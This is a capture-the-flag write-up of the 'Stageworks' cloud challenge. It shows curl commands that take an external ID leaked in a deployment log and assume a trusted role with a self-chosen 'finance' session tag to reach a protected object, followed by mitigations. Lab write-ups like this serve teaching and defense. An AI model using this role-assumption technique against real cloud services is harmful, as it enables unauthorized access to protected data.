Writeup · SAF Pre-Qualifiers 2026

Stageworks

cloudunknownsolvedFlag: safctf{REDACTED}

Overview

The challenge provides a ZIP archive containing deployment information (deployment.log) and an access policy (policy.json). The key clue: “A cached access list names a former role; it may not reflect the current service.” The goal is to discover the current trusted role/external ID combination, assume that identity while attaching the required session tag, and access the protected object.

The application exposes:

GET /api/identity
POST /api/assume   (accepts role, external_id, tags)
GET /api/object

Prerequisites / Setup

export TARGET="<challenge URL or IP>"

Download and extract rehearsal.zip locally; jq is handy for JSON output but optional.

Recon

Step 1 — Inspect the challenge files

Goal: Extract the archive and read deployment.log and policy.json.

mv ~/Downloads/rehearsal.zip .
unzip rehearsal.zip

deployment.log:

Lighting integration: externalId=d4a868d5e1dbf4bf89c6c520

policy.json:

{
  "trust": {
    "role": "lighting",
    "externalId": "integration-value"
  },
  "object": {
    "condition": {
      "sessionTag/department": "finance"
    }
  },
  "tagSession": true
}

Interpretation:

  • Trusted role: lighting
  • Cached external ID: integration-value (possibly stale)
  • Object access requires sessionTag/department = finance
  • Session tags can be attached when assuming the role

The deployment log contains a different external ID, suggesting the policy is stale.

Step 2 — Check the current identity

Goal: Confirm the unauthenticated identity is limited.

curl -s "$TARGET/api/identity" | jq
{
  "account": "stageworks",
  "role": "visitor",
  "session": "guest"
}

Interpretation: The current identity is only a visitor.

Step 3 — Test the protected object without a session

Goal: Confirm /api/object requires a valid session.

curl -i "$TARGET/api/object"
HTTP/1.1 403 FORBIDDEN

Interpretation: A valid session is required to access the object.

Vulnerability Analysis

Exploitation

Step 4 — Assume the role with the current external ID

Goal: Obtain a session token using role lighting, the current external ID from deployment.log, and the finance tag.

curl -i -X POST "$TARGET/api/assume" \
  -H 'Content-Type: application/json' \
  -d '{
    "role": "lighting",
    "external_id": "d4a868d5e1dbf4bf89c6c520",
    "tags": {
      "department": "finance"
    }
  }'
{
  "token": "3dbcebe91e811c0c674548eb9ef51520cf69"
}

Interpretation: The current deployment external ID works and issues a session token.

Step 5 — Confirm the cached external ID is stale

Goal: Verify the policy’s external ID is rejected.

curl -i -X POST "$TARGET/api/assume" \
  -H 'Content-Type: application/json' \
  -d '{
    "role": "lighting",
    "external_id": "integration-value",
    "tags": {
      "department": "finance"
    }
  }'
HTTP/1.1 403 FORBIDDEN

Interpretation: policy.json (integration-value) is rejected while deployment.log (d4a868d5e1dbf4bf89c6c520) is accepted — the cached policy contained an outdated external ID.

Step 6 — Access the protected object

Goal: Use the session token from /api/assume as the X-Session header.

curl -i \
  "$TARGET/api/object" \
  -H 'X-Session: 3dbcebe91e811c0c674548eb9ef51520cf69'
HTTP/1.1 200 OK

{
  "message": "safctf{REDACTED}",
  "ok": true
}

Interpretation: The session token grants access to /api/object, which returns the flag.

Flag

safctf{REDACTED}

Returned by GET /api/object with the session token from assuming role lighting.

Lessons / Takeaways

  • A cached access list can name a former role/external ID that no longer reflects the live service — verify against current deployment artifacts.
  • Identify the trusted role from the cached policy, then obtain the current external ID from deployment logs.
  • Supply the required session tag (department=finance) when assuming the role.
  • The stale integration-value was a decoy; the live external ID was d4a868d5e1dbf4bf89c6c520.

Mitigations

  • Keep cached access policies in sync with live deployment configuration; remove stale external IDs.
  • Validate external IDs against a current allow-list at assume-time.
  • Require session tags and enforce conditions on the protected resource, not only at assume-time.
  • Rotate external IDs and short-lived session tokens.

Techniques

References